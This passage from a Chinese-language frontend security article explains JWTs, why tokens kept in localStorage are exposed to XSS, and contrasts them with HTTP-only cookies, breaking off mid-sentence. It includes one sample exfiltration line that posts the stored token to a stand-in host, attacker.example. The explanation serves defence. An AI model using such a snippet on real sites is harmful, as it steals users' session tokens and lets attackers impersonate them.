询问十个前端开发者登录令牌存储在哪里，你会得到四个答案和一场争论。由于每种方法涉及不同的问题，辩论没有解决。因此，让我们一次性澄清：存储令牌的选项有哪些，哪些是最安全的，以及它们的使用案例。我在我的免费前端安全课程中深入讲解了XSS和CSRF，但我想单独讨论身份验证。基本知识我已经写了，你也可能写过。每一篇“在一个下午构建全栈应用程序”的文章和教程都写过这一点。用户提交一个登录表单；服务器检查密码并返回一个令牌。你将它存放在localStorage中，并在此后的每个请求中附加它：async function login ( email : string , password : string ) { const res = await fetch ( '/api/login' , { method: 'POST' , headers: { 'Content-Type' : 'application/json' }, body: JSON . stringify ({ email, password }), }); const { token } = await res. json (); localStorage. setItem ( 'token' , token); } async function fetchProfile () { const res = await fetch ( '/api/me' , { headers: { Authorization: `Bearer ${ localStorage . getItem ( 'token' ) }` , }, }); return res. json (); } 该令牌几乎总是一个JWT。JWT（JSON Web Token）是一个由三部分组成的字符串，用点分隔：头部、有效载荷和签名。有效载荷包含有关用户的事实，如他们的ID和可能的角色。签名是一个印章，证明你的服务器生成了这个确切的有效载荷，并且没有人篡改它。使JWT受欢迎的技巧是服务器在收到令牌时所做的事情。它重新计算印章，检查其是否匹配，然后信任有效载荷而无需查找任何信息。用户的ID在令牌内部，经过加密签名，因此没有数据库行可读以获取用户ID或验证用户。人们称之为“无状态”。为了公平对待教程，这种方法是有效的。它能够在刷新后存活，因为localStorage持久存在，并且避免了每个cookie的头痛。Authorization: Bearer头部也能在域之间干净地传递，因此一个域上的应用程序可以毫不费力地调用另一个域上的API。JWT工作，但我们编写的代码有一个问题：我们存储JWT的地方。XSS对该令牌的破坏。localStorage有一个定义特征：你页面上的任何JavaScript都能读取所有内容。谁的JavaScript运行在你的页面上？当然是你的。但是，还有你安装的每个npm包，以及这些包所引入的每个包。你的分析代码片段。你的支持聊天小部件。任何浏览器扩展决定注入的内容。还有，发生时，攻击者的代码。最后一个就是XSS。跨站脚本意味着攻击者的代码已在你的页面上运行。通常通过一些单调的方式：一个未转义用户文本的评论字段，直接反映到DOM中的URL参数，或在补丁版本中附带恶意代码的依赖项。当这种情况发生时，令牌在一行之内就会消失：fetch ( 'https://attacker.example/collect' , { method: 'POST' , body: localStorage. getItem ( 'token' ), }); 攻击者现在获得了你的Bearer令牌，而“Bearer”是字面上的（它不是来自《熊熊》这部剧）：持有它的人就是你。服务器检查印章，看到有效的有效载荷，并打招呼。它们不再需要你的浏览器。不需要你打开的标签。它们将该字符串粘贴到自己的机器上的脚本中，而你的API将它们视为你，从地球上的任何地方，直到令牌过期（大多数情况）。如果你签署了这个令牌，过期时间为7天，就像许多教程所做的那样，这就是一个7天的万用钥匙。你无法取消它，因为“无状态”的整个要点是服务器不检查任何内容。攻击者接下来的所有操作都发生在他们的基础设施上，由他们安排，对你完全 invisible。 "如果他们可以运行JavaScript，那么你就已经死了"。一个常见的说法是，如果攻击者可以在你的页面上运行JavaScript，那么他们已经可以做任何事情。读取屏幕上的所有内容，从用户的浏览器发出请求，利用浏览器附加的任何凭据。隐藏令牌不改变任何事情。前半部分是正确的。保护令牌并不能阻止XSS。任何告诉你HTTP-only cookie"防止XSS"的人都是困惑或在销售某种东西。但是看看攻击者在每种情况下的限制，因为它们并不是相同的情况。如果攻击者可以读取令牌，他们就会将其带回家。攻击在标签关闭后继续有效，从他们自己的机器上，以自己的速度，直到令牌的完整生命周期。如果攻击者无法读取令牌，他们只能乘坐实时会话。他们的脚本在受害者的浏览器内发出请求，当该标签打开时，这些请求每一个都到达你的服务器，在那儿有你的速率限制、日志记录和欺诈检查。一个是被盗的钥匙。另一个是小偷，只能在你家内行动，站在你的摄像头前，直到拥有者